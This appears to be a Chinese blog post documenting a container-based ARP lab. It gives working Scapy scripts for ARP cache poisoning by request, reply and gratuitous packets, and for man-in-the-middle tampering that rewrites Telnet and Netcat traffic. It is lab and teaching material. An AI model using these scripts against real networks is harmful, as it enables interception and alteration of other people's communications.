返回博客

测试

2026-03-175 min 阅读

ARP 攻击

容器配置

搭建好所有容器

使用 ifconfig 查看各个容器的 MAC 地址

  • Host-A:02:42:0a:09:00:05
  • Host-B: 02:42:0a:09:00:06
  • Host-M: 02:42:0a:09:00:69

alt text alt text alt text

任务 1:ARP 缓存中毒攻击

任务 1.A(使用 ARP 请求) 在主机 M 上构造一个 ARP 请求包,将 B 的 IP 地址映射到 M 的 MAC 地址。

实验代码如下

from scapy.all import *

tar_ip = "10.9.0.5" # A 的 IP
fake_ip = "10.9.0.6" # B 的 IP
fake_mac = "02:42:0a:09:00:69" # M 的 MAC

ether = Ether(src = fake_mac, dst = "ff:ff:ff:ff:ff:ff")
arp = ARP(op = 1, hwsrc = fake_mac, psrc = fake_ip,
          pdst = tar_ip)
arp_response = ether / arp 

sendp(arp_response)

alt text 可以看到 A 的 ARP 缓存中,B 的 IP 地址被映射到了 M 的 MAC 地址。攻击成功

任务 1.B(使用 ARP 响应) 在主机 M 上构造一个 ARP 响应包,将 B 的 IP 地址映射到 M 的 MAC 地址。

from scapy.all import *

tar_ip = "10.9.0.5" # A 的 IP
tar_mac = "02:42:0a:09:00:05" # A 的 MAC
fake_ip = "10.9.0.6" # B 的 IP
fake_mac = "02:42:0a:09:00:69" # M 的 MAC

ether = Ether(src = fake_mac, dst = tar_mac)
arp = ARP(op = 2, hwsrc = fake_mac, psrc = fake_ip,
         hwdst = tar_mac, pdst = tar_ip)
arp_response = ether / arp 

sendp(arp_response)
  • 情景 1:B 的 IP 地址已经存在于 A 的缓存中 首先在 A 上 ping B,检查 ARP 缓存,B 的 IP 地址已经存在于 A 的缓存中。 alt text 执行代码,发现 B 的 IP 映射的 MAC 地址被成功修改 alt text
  • 情景 2:B 的 IP 地址未出现在 A 的缓存中。你可以使用命令 "arp -d a.b.c.d" 来删除 IP 地址 a.b.c.d 对应的 ARP 缓存条目 删除 B 的条目,看到攻击程序无法制造一个伪造的映射。 alt text 这是因为 ARP 协议不完全是无状态的,主机在发出 ARP 请求后,会先创建一个 MAC 地址为空的映射,等待 ARP 响应。

任务 1.C(使用 ARP 免费消息) 在主机 M 上构造一个 ARP 免费数据包,并将 B 的 IP 地址映射 到 M 的 MAC 地址。

免费 ARP 数据包具有以下特点:

  • 源和目标的 IP 地址相同,是发出该消息的主机的 IP 地址
  • ARP 头部和以太网头部的目标 MAC 地址都是广播 MAC 地址 (ff:ff:ff:ff:ff:ff)
  • 不期望有响应
from scapy.all import *

fake_ip = "10.9.0.6" # B 的 IP
fake_mac = "02:42:0a:09:00:69" # M 的 MAC
boradcast = "ff:ff:ff:ff:ff:ff"
ether = Ether(src = fake_mac, dst = boradcast)
arp = ARP(op = 1, hwsrc = fake_mac, psrc = fake_ip,
         hwdst = boradcast, pdst = fake_ip)
arp_response = ether / arp 

sendp(arp_response)
  • 情景 1:B 的 IP 地址已经存在于 A 的缓存中 能够成功修改映射 alt text
  • 情景 2:B 的 IP 地址未出现在 A 的缓存中。 不能成功修改映射 alt text

任务 2:使用 ARP 缓存中毒攻击在 Telnet 实施中间人攻击

步骤 1(发起 ARP 缓存中毒攻击):

首先,主机 M 对 A 和 B 均执行 ARP 缓存中毒攻击,使得在 A 的 ARP 缓存中,B 的 IP 地址被映射到 M 的 MAC 地址;在 B 的 ARP 缓存中,A 的 IP 地址也被映射到 M 的 MAC 地址。如果你能不断地发送伪造数据包(例如每5秒一次)就更好了。否则,伪造的映射可能会被替换。

from scapy.all import *
import time

A = "10.9.0.5" # A 的 IP
B = "10.9.0.6" # B 的 IP
fake_mac = "02:42:0a:09:00:69" # M 的 MAC

ether = Ether(src = fake_mac, dst = "ff:ff:ff:ff:ff:ff")

# 伪造 B -> M 的映射
arp1 = ARP(op = 1, hwsrc = fake_mac, psrc = B,
          pdst = A)
arp_response1 = ether / arp1

# 伪造 A -> M 的映射
arp2 = ARP(op = 1, hwsrc = fake_mac, psrc = A,
           pdst = B)
arp_response2 = ether / arp2

while True:
    sendp(arp_response1)
    sendp(arp_response2)
    time.sleep(5)

现在 A 和 B 的 IP 都映射到了 M 的 MAC 地址 alt text alt text

步骤 2(测试): 在攻击成功后,请尝试在主机 A 和 B 之间相互 ping

请确保主机 M 的 IP 转发(IP forwarding)已关闭。你可以通过以下命令完成此操作。 sysctl net.ipv4.ip_forward=0 alt text A ping B,可以看到无法得到回复 alt text alt text B ping A,同样绝大多数情况下没有回复,但是多次测试时发现,在长时间得不到响应时,B 会发送一个 ARP 请求到 A(下图第11条信息),此时 B 的 ARP 缓存会被更新到正确的映射,从而完成几次 ICMP 交互。 再次测试发现 A ping B 也会出现这种情况。可以通过增加攻击频率解决问题。 alt text alt text

步骤 3(开启 IP 转发): 现在我们将在主机 M 上开启 IP 转发,因此它将转发 A 和 B 之间的数据包。

开启 IP 转发 A ping B,可以看到主机 M 将 ICMP 包重定向到了 B 的 IP 地址。因此能够 ping 通。 alt text alt text B ping A,同样能够通过。 alt text alt text

步骤 4(实施中间人攻击):

我们现在可以对 A 和 B 之间的 Telnet 数据进行修改。假设 A 是 Telnet 客户端,B 是 Telnet 服务器。在 A 连接到 B 上的 Telnet 服务器后,在 A 的 Telnet 窗口中键入的每个字符,都会生成一个 TCP 数据包并发送给 B。我们希望拦截这个 TCP 数据包,并将每个输入的字符替换为一个固定字符(例如 Z)。这样无论用户在 A 上键入什么内容,Telnet 都会始终显示 Z。

根据前面的步骤,我们可以将 TCP 数据包重定向到主机 M,但此时我们希望M不转发这些数据包,而是用一个伪造的数据包来代替。我们将编写一个程序来完成这一目标。我们需要做到以下几点:

  • 首先保持 M 上的 IP 转发,以便 A 和 B 之间可以建立 Telnet 连接。一旦连接建立,我们使用以下命令关闭 IP 转发。 建立连接并尝试操作 alt text alt text 关闭 M 的 IP 转发,再次尝试操作 发现在 A 上输入字符,并不能得到回显。 alt text
  • 在主机 M 上运行你写的程序,捕获从 A 到 B 发送的数据包,然后生成一个伪造数据包(只修改 TCP 数据部分)。对于从 B 到 A 的数据包( Telnet 响应),我们不做任何更改,因此伪造数据包与原始的完全相同。
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
         # 根据捕获的数据包创建一个新的数据包。
         # 1) 我们需要删除 IP 和 TCP 头部的校验和,
         #    因为我们的修改会使它们无效。
         #    Scapy 会在这些字段缺失时重新计算它们。
         # 2) 我们还删除了原始的 TCP 有效载荷。

         newpkt = IP(bytes(pkt[IP]))
         del(newpkt.chksum)
         del(newpkt[TCP].payload)
         del(newpkt[TCP].chksum)

         #################################################################
         if pkt[TCP].payload:
             data = pkt[TCP].payload.load  # 原始的有效载荷数据
             # 将每个字母和数字替换为 'Z'
             newdata = re.sub(r'[0-9a-zA-Z]', r'Z', data.decode())

             send(newpkt/newdata)
         else:
             send(newpkt)
         ################################################################

    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
         # 根据捕获的数据包创建一个新的数据包
         # 不进行任何修改。

         newpkt = IP(bytes(pkt[IP]))
         del(newpkt.chksum)
         del(newpkt[TCP].chksum)
         send(newpkt)

# 限制来自 A/B 的 MAC 地址的 TCP 数据包。从而避免捕获到其他数据包。
f = f"tcp and (ether src {MAC_A} or ether src {MAC_B})"
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

执行程序,发现在 A 上输入的字符被成功替换为 Z。而 B 上的响应没有被修改。 alt text

任务 3:使用 ARP 缓存中毒攻击在 Netcat 实施中间人攻击

A 和 B 通过 Netcat 建立连接后,一旦建立连接,在 A 中键入信息。每行信息都将被放入一个 TCP 数据包中发送给 B,B 只是显示该信息。 任务是信息中姓的拼音(zhou)替换为一串 A。 只需修改上述代码的替换字符的部分

# 将每个 'zhou' 替换为 'AAAA'
newdata = re.sub(r'zhou', r'AAAA', data.decode())

可以看到在 A 上输入的 zhou 发送到 B 之后被成功替换为 AAAA,而其他字符没有被修改。 alt text


评论

0/1000